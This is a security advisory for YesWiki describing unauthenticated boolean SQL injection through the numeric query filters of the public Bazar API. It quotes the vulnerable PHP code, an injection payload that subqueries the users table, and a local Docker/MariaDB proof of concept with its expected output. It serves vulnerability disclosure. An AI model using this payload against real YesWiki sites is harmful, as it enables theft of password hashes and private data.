PT-2026-57030 · Packagist · Yeswiki/Yeswiki
Published
2026-07-09
·
Updated
2026-07-09
·
CVE-2026-52770
CVSS v3.1
7.5
High
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
Summary
YesWiki’s public Bazar entry-listing APIs are vulnerable to unauthenticated SQL injection in numeric
query / queries filters.For Bazar fields whose value structure is numeric, YesWiki escapes the attacker-controlled filter value but inserts it into SQL without quotes or numeric validation. An unauthenticated attacker can inject boolean SQL expressions and infer database contents from whether entries are returned.
Details
The public Bazar API reads attacker-controlled query filters from GET parameters:
php
// tools/bazar/controllers/ApiController.php
$vQuery = $ GET['query'] ?? $ GET['queries'] ?? null;
$vQuery = $vSearchManager->aggregateQueries(
!empty($selectedEntries) ? ['queries' => ['id fiche' => $selectedEntries]] : [],
isset($vQuery) ? urldecode($vQuery) : ''
);Relevant public routes include:
php
@Route("/api/forms/{formId}/entries/{output}/{selectedEntries}", methods={"GET"}, options={"acl":{"public"}})
@Route("/api/entries/{output}/{selectedEntries}", methods={"GET"}, options={"acl":{"public"}})
@Route("/api/entries/bazarlist", methods={"GET"}, options={"acl":{"public"}})The query is passed into
BazarListService::getEntries() and then into SearchManager::search():php
// tools/bazar/services/BazarListService.php
$vLocalEntries = $vSearchManager->search(
array merge(
$pOptions,
[
'formsIds' => $vLocalIDs,
]
),
true,
true
);The vulnerable sink is in
SearchManager::buildQueriesConditions():php
// tools/bazar/services/SearchManager.php
if ($vDescriptor[' type '] == 'number') {
if (isset($vValue) && trim($vValue) !== '') {
$vValueConditions[] = 'CAST(' . mysqli real escape string($this->wiki->dblink, $this->renameJSONPathVariable($vFieldName)) . ' AS DOUBLE) ' . $vComparisonOperator . ' ' . mysqli real escape string($this->wiki->dblink, $vValue);
}
}Because numeric values are not quoted, SQL syntax remains active after escaping. For example, the following value is accepted as part of the numeric expression:
text
100 OR (SELECT COUNT(*) FROM yeswiki users)>0This produces a predicate equivalent to:
sql
CAST(bf age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki users)>0Read ACL filtering and Bazar Guard processing do not prevent exploitation because the injected SQL expression is evaluated by the database before returned rows are post-processed.
Numeric Bazar filters are a documented/common feature. The documentation includes examples such as:
text
query="bf age>18"
query="bf age >= 20 | bf age < 40"Bazar numeric fields are also common through field types such as
number, range, and map latitude/longitude fields.PoC
The following local-only PoC uses the shipped
SearchManager code with a minimal MariaDB fixture. It demonstrates that a true injected boolean subquery changes the returned entries, while a false subquery does not.Run from the repository root:
bash
set -euo pipefail; name="yeswiki-audit-db-$$"; docker run -d --rm --name "$name" -e MARIADB ROOT PASSWORD=auditpass -e MARIADB ROOT HOST='%' -e MARIADB DATABASE=yeswiki mariadb:11.4 >/dev/null; trap 'docker rm -f "$name" >/dev/null 2>&1 || true' EXIT; until docker exec "$name" mariadb-admin ping -h127.0.0.1 -uroot -pauditpass --silent >/dev/null 2>&1; do sleep 1; done; docker run --rm -i --network "container:$name" -v "$PWD:/repo:ro" --entrypoint php phpmyadmin:5.2.1 -d error reporting=E ERROR -d display errors=1 <<'PHP'
<?php
namespace YesWikiBazarService {
class EntryManager { public const TRIPLES ENTRY ID = 'yeswiki-entry'; }
class FormManager { public function getMany($ids) { return [1 => ['prepared' => [new DummyNumberField()]]]; } }
}
namespace {
class DummyNumberField {
public function getPropertyName() { return 'bf age'; }
public function getValueStructure() { return ['bf age' => [' mode ' => 'single', ' type ' => 'number']]; }
}
class DummyServices {
public function get($class) {
if ($class === 'YesWikiBazarServiceFormManager') { return new YesWikiBazarServiceFormManager(); }
if ($class === 'YesWikiBazarServiceEntryManager') { return new YesWikiBazarServiceEntryManager(); }
throw new RuntimeException('Unexpected service: ' . $class);
}
}
class DummyWiki {
public $dblink;
public $services;
public function construct($dblink) { $this->dblink = $dblink; $this->services = new DummyServices(); }
public function GetConfigValue($name, $default = null) { return $name === 'min search keyword length' ? 3 : $default; }
public function UserIsAdmin() { return false; }
public function getUserName() { return 'Anonymous'; }
}
class DummyDbService {
public function getCollation(): string { return 'utf8mb4 unicode ci'; }
public function prefixTable($tableName) { return ' yeswiki ' . $tableName . ' '; }
}
class DummyAclService { public function updateRequestWithACL() { return '1=1'; } }
require '/repo/tools/bazar/services/SearchManager.php';
$db = mysqli connect('127.0.0.1', 'root', 'auditpass', 'yeswiki');
if (!$db) { throw new RuntimeException(mysqli connect error()); }
mysqli set charset($db, 'utf8mb4');
foreach ([
"CREATE TABLE yeswiki pages (id INT PRIMARY KEY AUTO INCREMENT, tag VARCHAR(64), time DATETIME DEFAULT CURRENT TIMESTAMP, user VARCHAR(64), owner VARCHAR(64), latest CHAR(1), comment on VARCHAR(64), body JSON)",
"CREATE TABLE yeswiki triples (resource VARCHAR(64), value VARCHAR(64), property VARCHAR(128))",
"CREATE TABLE yeswiki users (name VARCHAR(64), password VARCHAR(256), email VARCHAR(191))",
"INSERT INTO yeswiki users VALUES ('admin', 'dummy hash marker', 'secret@example.test')",
"INSERT INTO yeswiki pages (tag,user,owner,latest,comment on,body) VALUES ('EntryA','alice','alice','Y','',JSON OBJECT('id typeannonce','1','id fiche','EntryA','bf age','10')), ('EntryB','bob','bob','Y','',JSON OBJECT('id typeannonce','1','id fiche','EntryB','bf age','20'))",
"INSERT INTO yeswiki triples VALUES ('EntryA','yeswiki-entry','http://outils-reseaux.org/ vocabulary/type'), ('EntryB','yeswiki-entry','http://outils-reseaux.org/ vocabulary/type')",
] as $sql) {
if (!mysqli query($db, $sql)) { throw new RuntimeException(mysqli error($db) . " in " . $sql); }
}
$ref = new ReflectionClass(YesWikiBazarServiceSearchManager::class);
$sm = $ref->newInstanceWithoutConstructor();
foreach (['wiki' => new DummyWiki($db), 'dbService' => new DummyDbService(), 'aclService' => new DummyAclService()] as $prop => $value) {
$rp = $ref->getProperty($prop);
$rp->setAccessible(true);
$rp->setValue($sm, $value);
}
$cases = [
'control no match' => 'bf age>100',
'boolean true subquery' => 'bf age>100 OR (SELECT COUNT(*) FROM yeswiki users)>0',
'boolean false subquery' => 'bf age>100 OR (SELECT COUNT(*) FROM yeswiki users WHERE 0)>0',
];
foreach ($cases as $label => $query) {
$params = ['queries' => $query, 'formsIds' => [1]];
$sql = $sm->prepareSearchRequest($params, true, false);
$result = mysqli query($db, $sql);
if (!$result) { throw new RuntimeException(mysqli error($db) . " in " . $sql); }
$tags = [];
while ($row = mysqli fetch assoc($result)) { $tags[] = $row['tag']; }
sort($tags);
printf("%s: %d rows [%s]
", $label, count($tags), implode(',', $tags));
if ($label === 'boolean true subquery') {
echo "where fragment=" . preg replace('/^.* WHERE /s', '', $sql) . "
";
}
}
}
PHPExpected vulnerable output:
text
control no match: 0 rows []
boolean true subquery: 2 rows [EntryA,EntryB]
where fragment=((CAST(bf age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki users)>0)) AND 1=1
boolean false subquery: 0 rows []The no-match control returns no rows. The false injected subquery also returns no rows. The true injected subquery returns rows, proving that attacker-controlled SQL is evaluated inside the numeric filter.
Impact
This is an unauthenticated SQL injection vulnerability.
An attacker can use public Bazar API endpoints as a boolean oracle to infer data accessible to the YesWiki database user. This may include user account data, password hashes, password recovery material, private wiki metadata, or other sensitive database contents.
Fix
SQL injection
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Yeswiki/Yeswiki